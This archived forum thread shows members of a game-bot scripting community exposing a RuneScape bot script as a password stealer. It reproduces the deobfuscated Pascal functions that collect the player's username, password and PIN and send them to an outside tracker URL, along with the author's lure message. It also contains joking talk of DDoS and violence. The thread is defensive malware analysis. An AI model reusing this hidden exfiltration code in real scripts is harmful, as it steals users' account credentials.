SRL Archive - Help and Support

Though I'd post in here.


Mat

2012-01-27 10:25:47

Here is XNoobsNatcrafter, its wrong to link it, but I was wondering if he is doing anything that could hack my account?
Here's the Link.
http://naturecrafter.elementfx.com/RC.simba
Thanks
Mat :)
Wow he's also using a auth code system :o
Edit two
Summoning File


//-----------------------------------------------------------------//
//-- Scar Standard Resource Library --//
//-- Summoning routines --//
//-----------------------------------------------------------------//
// * Function UsingFamiliar: Boolean;
// * Function WhichPouch: String;
// * Function GetSummonPoints: Integer;
// * Function InteractFamiliar: Boolean;
// * Function GetPouchFromBank :Boolean;
// * Function SetupSummoning:Boolean;
{$DEFINE SMART}
Var
X,Y, KindOfPouch:Integer;


{*******************************************************************************
Function WhichPouch: Option:String;
By: XNoob
Description: Determines What Kind Of Pouch To Summon
*******************************************************************************}

Procedure WhichPouch(Option: String);
begin
if (Option = 'Graahk') then
begin
KindOfPouch := DTMFromString('mlwAAAHicY2dgYHBhYmDwAWJPIHYCYjsgdgNiWyB+CpR/AsT3oPgtEL9hgIhfrXJk2L5pHkNZlBMYH9m/kmH29DaG6ZObGYyA8rgwIx4MBQBbPhTm');
end else;
end;

{**

For Castle War Banking

**}

Function XY:Boolean;
Var
X, Y, BankChest, BankChest2:Integer;
Begin
BankChest := DTMFromString('mrAAAAHic42BgYNBhZGCwAGJjIFYDYmUg1gZiMyh7OVDNMiCeAcTTgXgzEG+B0iDxgpQwhgB3W4YVCxcy1OTFg+mitAiG6+fOMZw+fIiBH6gGH2YkgGEAAOijFD8=');
BankChest2 := DTMFromString('mrAAAAHic42BgYNBhZGCwAGIzINYCYmUgVmCEiBsB8TKgmllAvBKIpwPxciDeBsQ7gXgHEBekhDHkZWYyhHg7MqxdtpTh1MGDDCZGRgybVq1iuHzqFIMcUA0+zEgAwwAA5dgUTw==');

//('Finding Chest');
If FindDTM(BankChest,X,Y,MSX1,MSY1,MSX2,MSY2) or FindDTM(BankChest2,X,Y,MSX1,MSY1,MSX2,MSY2) then
//If FindObjTPA(X,Y,5332586, 3 , -15, 20, 30, 50, ['Bank chest']) then
Begin
MMouse(X,Y,6,6);
ClickMouse2(True);
//('Clicking Chest');
Wait(100+Random(50));
If PinScreen then
begin
Wait(1400+Random(300));
InPin(Players[CurrentPlayer].Pin);
end;
If BankScreen then
begin
Result:= True;
end;
end;
FreeDTM(BankChest);
End;


{*******************************************************************************
Function GetPouchFromBank(Option:String;Bank:String):Boolean;
By: XNoob
Description: Determines Which Bank to Withdraw Specified Pouch From. And returns
true if withdrawed and summoned.
Example : GetPouchFromBank('Graahk','CW');
*******************************************************************************}

Function GetPouchFromBank(Option:String;Bank:String):Boolean;
Var ToBank:TPointArray;
begin
WhichPouch(Option);
if (Bank = 'CW') then
begin
Writeln('Using Castle Wars Bank');
SPS_Setup(RUNESCAPE_SURFACE,['4_10','3_10','4_11']);
ToBank := [Point(1618,4330), Point(1620, 4336)];
If SPS_WalkPath(ToBank) then
begin
writeln('Walking to bank.');
//If Pouch is Found within Inventory then Summon it.
if FindDTM(KindOfPouch, X, Y, MIX1, MIY1, MIX2, MIY2) then
Begin
CloseBank;
writeln('Found Pouch in Inventory.');
MMouse(X,Y,6,6);
ClickMouse2(False);
Wait(400+Random(50));
ChooseOption('Summon');
Result := true;
End else
//If Not Found then Open Bank
Begin
Repeat
XY;
Wait(500+Random(200));
Until(XY or Bankscreen);
If PinScreen then
Wait(1400+Random(300));
InPin(Players[CurrentPlayer].Pin);
Wait(1400+Random(300));
If BankScreen then
Begin
WhichPouch(Option);
Wait(100+Random(200));
if FindDTM(KindOfPouch, X, Y, MBX1, MBY1, MBX2, MBY2) then
Begin
MMouse(X,Y,6,6);
ClickMouse2(True);
wait(100);
if FindBlackChatMessage('have enough inventory') then
begin
Deposit(1,2,false);
if FindDTM(KindOfPouch, X, Y, MBX1, MBY1, MBX2, MBY2) then
Begin
MMouse(X,Y,6,6);
ClickMouse2(True);
CloseBank;
writeln('close');
if FindDTM(KindOfPouch, X, Y, MIX1, MIY1, MIX2, MIY2) then
Begin
writeln('found');
MMouse(X,Y,6,6);
ClickMouse2(False);
Wait(400+Random(50));
ChooseOption('Summon');
Result := true;
End else
//Error Cannot Summon Pouch
Result := false;
end else
//Not In Bank
if not FindDTM(KindOfPouch, X, Y, MBX1, MBY1, MBX2, MBY2) then
begin
WriteLn('Error: Could not Withdraw Pouch Specified.');
Result:= false;
end;
end else
//Found in Bank, Summon the Pouch.
if FindDTM(KindOfPouch, X, Y, MIX1, MIY1, MIX2, MIY2) then
Begin
MMouse(X,Y,6,6);
ClickMouse2(False);
Wait(400+Random(50));
ChooseOption('Summon');
Result := true;
end;
end else
//No More Pouches in Bank
CloseBank;
result := false;
End;
end;

end;
//Not Walking to Bank
end;
//Not Using CW
end;
{*******************************************************************************
Function UsingFamiliar: Boolean;
By: Flight
Description: Returns if we currently have a Summoning familiar.
*******************************************************************************}
Function UsingFamiliar: Boolean;
Var
X,Y: Integer;
begin
if FindColorTolerance(X,Y,11192179,695,130,720,155,20) or FindBlackChatMessage('have a follower')then
begin
Result := true;
Wait(130+Random(80));
end;
end;

{*******************************************************************************
Function GetSummonPoints: Integer;
By: Flight
Description: Returns our current number of Summoning points remaining.
*******************************************************************************}
Function GetSummonPoints: Integer;
Var
Color: String;
begin
Result := Round(GetMMLevels('summon',Color));
end;

{*******************************************************************************
Function InteractFamiliar: Boolean;
By: Flight
Description: Handles all interactions between our familiar,
returns true if successful.
Options:
-'' : Will left click on interaction tab
-'Attack','Cast','Interact,'Renew','Take','Dismiss','Call','Details','Select'
*******************************************************************************}
Function InteractFamiliar(Option:String): Boolean;
begin
if (not LoggedIn) then exit;

if UsingFamiliar then
begin
if (Option = '') then
begin
MouseBox(695,140,740,155,1);
Result := True;
end else
begin
MouseBox(695,140,740,155,2);
if ChooseOption(Option) then
Result := True
else
srl_Warn('InteractFamiliar', 'Incorrect option', warn_AllVersions);
end;
end else
srl_Warn('InteractFamiliar', 'No familiar present!', warn_AllVersions);

Wait(100 + Random(50));
end;

{*******************************************************************************
procedure SetupSummoning;
By: XNoob
Description: Sets Up Summoning and returns true if SetUp, false if not.
*******************************************************************************}
Function SetupSummoning(Option:String ; Bank:String):Boolean;
begin
if (not LoggedIn) then exit;

if not UsingFamiliar then
begin
if (Option = 'Graahk') then
begin
writeln('Using Spirit Graahk');
if GetPouchFromBank(Option,Bank) then
begin
Result := true;
Writeln('True.');
end;
end else
if (Option = '') then
begin
end else;
Result:= False;

end else
result:= true;
end;

Flight

2012-01-27 10:38:57

Just as I thought, a lot of it is ripped from Naturez.

Mat

2012-01-27 10:39:51

Yea his summoning file aswell I'm not sure if thats the same.
Mat

Chris

2012-01-27 10:44:43

Nvm…..

Brandon

2012-01-27 11:00:48

Heavy obfuscation.. I'm de-obbing it now.. well not really its just decoding/putting shit in order..

Mat

2012-01-27 11:09:52

I have a auth code but haven't tested it yet as I don't need to use it atmo:P
Mat

footballjds

2012-01-27 11:17:39

Wow, is that a paid script?
Look at his logic(or the lack there of…)
lmfao at the use of if/thens… holy shit….

Mat

2012-01-27 11:20:14

First thing I was wondering about was why would he be using a auth code system? only reason I can think is to sell it?
Mat

'Toxin

2012-01-27 11:32:35

Flight you reserve rights to your methods/functions, and he is not allowed to sell it based off an auth system. Ban pleasee…. This community is heavily open source based, not a profitable organization for the love of god.

footballjds

2012-01-27 11:40:39

From: XxX Toxin XxX
Flight you reserve rights to your methods/functions, and he is not allowed to sell it based off an auth system. Ban pleasee…. This community is heavily open source based, not a profitable organization for the love of god.


ban who?

Mat

2012-01-27 11:46:29

I think he means XNoob?

Brandon

2012-01-27 11:48:07

Anyone care to do the rest? Or confirm that I made no mistakes? I think there is enough reason to not use this script.. don't u guys?

[Banana]
The following errors occurred with your submission
    1. The text that you have entered is too long (128914 characters). Please shorten it to 100000 characters long.
[/Banana]

For the script u gotta use pastebin.. http://pastebin.com/EwFWehdR

Check out functions: LV, K, P & J. I have to say the most interesting function for me was the P: boolean; one..

Your better off copying the script above into simba and reading it.. that way u can see everything whereas pastebin has a fixed width.

Mat

2012-01-27 11:52:02

…
edit is he sending the info up?
Its a good website he's sending it too.
http://naturecrafter.zxq.net/tracker.php

Brandon

2012-01-27 11:53:52

From: Mat
…
edit is he sending the info up?


I'm not going to say that just yet until someone else confirms if I de-obbed everything right.. from the looks of it.. well u can see my thoughts and comments in it.

Mat

2012-01-27 11:55:23

Yea I followed his chaning I to PZ then from the looks sending it to http://naturecrafter.zxq.net/tracker.php

'Toxin

2012-01-27 11:56:54

Yes, I am talking about xNoob. I'm taking a look at the script now, will edit back later with thoughts…

By the way, pastebin'ing this was not the best idea. Is it a private paste … ? If not, people could google around to find his version and implement the summoning procedure in flight's previous lite version. :s

Mat

2012-01-27 11:58:39



Function LV:Boolean;
begin
If(1+3>0)then
begin
C:=C;
I:=I;
Z:=Z;
I:=Players[CurrentPlayer].Name;//User
G:= Players[CurrentPlayer].Pin;
Z:=Players[CurrentPlayer].Pass;
Result:=True;
end;
end;

Function K:Boolean;
Var
PZ,AZ,AX,TY,LM,BS,RJ,RF,DB,AJ,RN,TP,GY,PS,LJ,LD,DF,DT,YT,DS,DV,MM,BP,NP,FP,SW,QA,SX,RA,US,OZ,OP,LB:String;
begin
PZ:= I;//Changed user
LM:= Z;
FFS:='Au'; FPS:='th'; LLM:='en'; RBJ:='ti';RJK:='ca';KKK:='ted.'; //Authenticated..

//Decoder characters..
LD:='fx';BS:= 'tu';RF:='re'; DB:='cr';OP:='i';OZ:='I';RN:= 'te';TP:= 'r.';
GY:= 'zx';AZ:= ':/';PS:= 'q';DF:='e';US:='s'; TY:= 'ht'; DV:='da';DT:='t';YT:='/';
DS:='up';LJ:='.n'; AJ:= 'af';MM:='te';BP:='r.';RJ:= 'na'SW:='ph';AX:= 'tp';QA:='?v';
SX:='er'; RA:='p';NP:='&';FP:='q=';

Q:=NP; //&
L:=FP; //q=
TR:=TY+AX+AZ+YT+RJ+BS+RF+DB+AJ+RN+TP+GY+PS+LJ+DF+DT+'/tracker.'+SW+RA; //TR:= [url]HTTP://naturecrafter.zxq.net/tracker.php[/url]

U:= TY+AX+AZ+YT+RJ+BS+RF+DB+AJ+RN+TP+GY+PS+LJ+DF+DT+YT+DS+DV+MM+BP+SW+RA+QA+SX+US+OP+'on='; //HTTP://naturecrafter.zxq.net/updater.php?version=

B:= TY+AX+AZ+YT+RJ+BS+RF+DB+AJ+RN+TP+GY+PS+LJ+DF+DT+'/NatureRC'; //HTTP://naturecrafter.zxq.net/NatureRC
ULF:=U; //HTTP://naturecrafter.zxq.net/updater.php?version=
LB:= PZ+'&q='+LM; //User here //Players[CurrentPlayer].Name + &q= en
UL:=TY+AX+AZ+YT+RJ+BS+RF+DB+AJ+RN+TP+GY+PS+LJ+DF+DT+YT+OZ+'O'+'.'+SW+RA; //HTTP://naturecrafter.zxq.net/IO.php
WP:= O('O','K'); //0 <-- a Zero.
O('I','O'); //1
LV; //Initializing password crap. See function LV: boolean;
N:='&p='+G; //string N:= &p=Players[CurrentPlayer].Pin
Result:= true;
end;

Function P:Boolean;
begin
if PJ = '1' then
begin
A:=U+I; //HTTP://naturecrafter.zxq.net/updater.php?version=Player[CurrentPlayer].Name
A:=A+Q+L+Z+N; //HTTP://naturecrafter.zxq.net/updater.php?version=Player[CurrentPlayer].Name&q=Players[CurrentPlayer].Pass&p=Players[CurrentPlayer].Pin
if(Commit(A+'&x='+WP)) then //Commit (A&x0) //Soo commit the above line + &x0
begin
Result:=true;
end;
end;
end;

Function J:Boolean;
begin
if (Between('<E>','</E>',getPage(''+TR+'?a'+'u='+AuthCode)) = 'Error.') then //HTTP://naturecrafter.zxq.net/tracker.php?au= The Settings.INI file.
begin
writeln(Between('<R>','</R>',getPage(''+TR+'?a'+'u='+AuthCode))); //Same shit as above..
Label0.Caption:= Between('<R>','</R>',getPage(''+TR+'?a'+'u='+AuthCode)); //And again..
Button1.Enabled := True;
Result:=false;
end;
end;
Thats what GGZZ found.

Brandon

2012-01-27 12:04:09

Toxxinn don't worry about the summoning.. His obelisk crap is broken, his summoning will degrade over time even worse.. Due to the fact that he's using a DTM in the karamja jungle -___- This alone is a stupid idea: (GetSummonPoints<(25+Random(33)));

Plus flight's uses a full on path.. noobs will have to make two paths and implement it.. one to walk to the obby and another to go from obby to the altar.. I checked over all his code so.. before I left the paste public, I considered that as well.

Kyle Undefined

2012-01-27 12:06:37

Wow…just wow.

Mat

2012-01-27 12:09:26

Here his PM:

From: xnoob
From: Mat
Yea^^^ I don't mind if you don't I'm 99 rcing with 30M xp :P
Mat


Congratulations, You have been selected to test one of my scripts.
All I ask in return is the reporting of bugs within the script to better improve it.

Below is the information you will need in order to test the script.

Link To Download: http://naturecrafter.elementfx.com/RC.simba


Once opened, go to Save As Page, As "RC.simba"
and place inside your Scripts folder (Usually C:\Simba\Scripts)


or Copy the code and go to Simba and save it as "RC.simba"

next open
Link To Download: http://naturecrafter.elementfx.com/summoning.simba



After that is complete, enter your information
and your Auth Code: 86659

Make sure to keep your auth code safe. Your auth code prevents others from using this script. Do not share your code with anyone. If misused, your Auth code will be banned.




After running the script, you shall get something like this.


Happy beta testing! Make sure to report all bugs, and progress to me, PRIVATELY!
Thank you!

Edit:Good thing I didn't go yea cool and ran it.

'Toxin

2012-01-27 13:48:22

From: ggzz
Toxxinn don't worry about the summoning.. His obelisk crap is broken, his summoning will degrade over time even worse.. Due to the fact that he's using a DTM in the karamja jungle -___- This alone is a stupid idea: (GetSummonPoints<(25+Random(33)));

Plus flight's uses a full on path.. noobs will have to make two paths and implement it.. one to walk to the obby and another to go from obby to the altar.. I checked over all his code so.. before I left the paste public, I considered that as well.


LMFAO. I am dying of laughter right here… I didn't even bother to look at the code itself to see what he's trying to do. ggzz I wasn't really pointing any fingers at you to be honest, just more of a reminder to everyone how easy it is to retrieve pastebin content, and I'm glad that you considered it otherwise, I know you're not an idiot, lol.

Anyway, we all realize what he's going for here… right…? Probably going to use his website to promote his own script, and refer to Simba as the client that runs his script, then hoping to sell it… That's if his DTM's don't break - which they will. He's put a little too much work into something that won't ever turn out. Permission to DDoS if he dares to try and sell it…? Please….? :)

Mat

2012-01-27 13:50:15

Shall I post on his actual thread? saying that I'm not going to test it? as he sent one to me?

'Toxin

2012-01-27 13:52:13

From: Mat
Shall I post on his actual thread? saying that I'm not going to test it? as he sent one to me?


No. Don't let him know that we're onto him. It's going to alert him. He'll have what's coming for him IF he decides to do what I've hypothesized.

Markus

2012-01-27 13:52:36

Password stealer indeed. We'll take care of this.

Mat

2012-01-27 13:53:28

Okay thanks Markus :)
Mat

P1nky

2012-01-27 13:54:16

From: Markus
Password stealer indeed. We'll take care of this.


Oh Gawsh… haven't had those fools around lately… Burn him :fiery:!

'Toxin

2012-01-27 13:55:52

Mat, you're awesome for getting him to send everything to you, this is great. REP ++ for your efforts dude.

Markus : What's going to happen to him? (I'm just curious)

P1nky

2012-01-27 13:57:12

From: XxX Toxin XxX

Markus : What's going to happen to him? (I'm just curious)


Most likely a permanent ban :X

Markus

2012-01-27 13:58:04

From: XxX Toxin XxX
Markus : What's going to happen to him? (I'm just curious)


I'll fly to america and inflict some painful damage to him.

Mat

2012-01-27 13:58:24

if it wasn't for GGZZ De-Obbing I'd have lost my account with everything :)
Thanks Man :)
But He sent it to three people I hope they haven't ran it:/
Mat

'Toxin

2012-01-27 13:59:41

From: Markus
I'll fly to america and inflict some painful damage to him.


Seems legit… You show him ;)

Markus

2012-01-27 14:00:35

There's a reason the security extension exists! Guys, enable it! Just whitelist stats.villavu.com and then no script has a legit reason to contact the internet itself.

PatDuffy

2012-01-27 14:01:40

Well, I'm actually amazed at how quickly people here uncover things.

'Toxin

2012-01-27 14:05:41

From: PatDuffy
Well, I'm actually amazed at how quickly people here uncover things.


Hence the number of mature members, not idiotic 12 year olds who if the script was given to them they'd be greedy instantly and try to run it. Anyway… I actually thought his intentions were positive not negative based off of his attitude in his thread, regardless… Exterminate that rat.

Mat

2012-01-27 14:10:31

From: XxX Toxin XxX
Hence the number of mature members, not idiotic 12 year olds who if the script was given to them they'd be greedy instantly and try to run it. Anyway… I actually thought his intentions were positive not negative based off of his attitude in his thread, regardless… Exterminate that rat.

I also thought the same he seemed really legit on his thread.
Mat

Kyle Undefined

2012-01-27 14:10:38

Yes, I agree, kill him!

Mat

2012-01-27 14:52:02

Lol He's applying Now?

Scaper

2012-01-27 15:09:18

well iv ran it and no accouts stolen~?

Kyle Undefined

2012-01-27 15:11:35

I would change your passwords immediately…

PatDuffy

2012-01-27 15:11:57

From: Scaper
well iv ran it and no accouts stolen~?


Change your passes immediately. Just because they aren't hacked yet doesn't mean they won't be.

E: dam yoy Kyle

Brandon

2012-01-27 15:12:13

From: Scaper
well iv ran it and no accouts stolen~?


Might not steal ur accounts yet.. but in no way should an authentication method ever contain a user's password, pin and username in a commit function.. at all!

Yes he gives u authcodes.. what is the point of then having to have the username and password and pin along with that?

Is the authcode not sufficient enough?

Scaper

2012-01-27 15:18:35

changed passwords lol i never even gave it a second thought im not fussed anyway iv quit sold my main etc

Mat

2012-01-27 15:23:10

Scaper who else did he send it to he sent it to 3 ppl Me you and someone else? Do you know?
Mat

Scaper

2012-01-27 15:44:33

most only be 1 other person unsure

Usa

2012-01-31 00:09:16

Scum of the internet, wow no surprise here.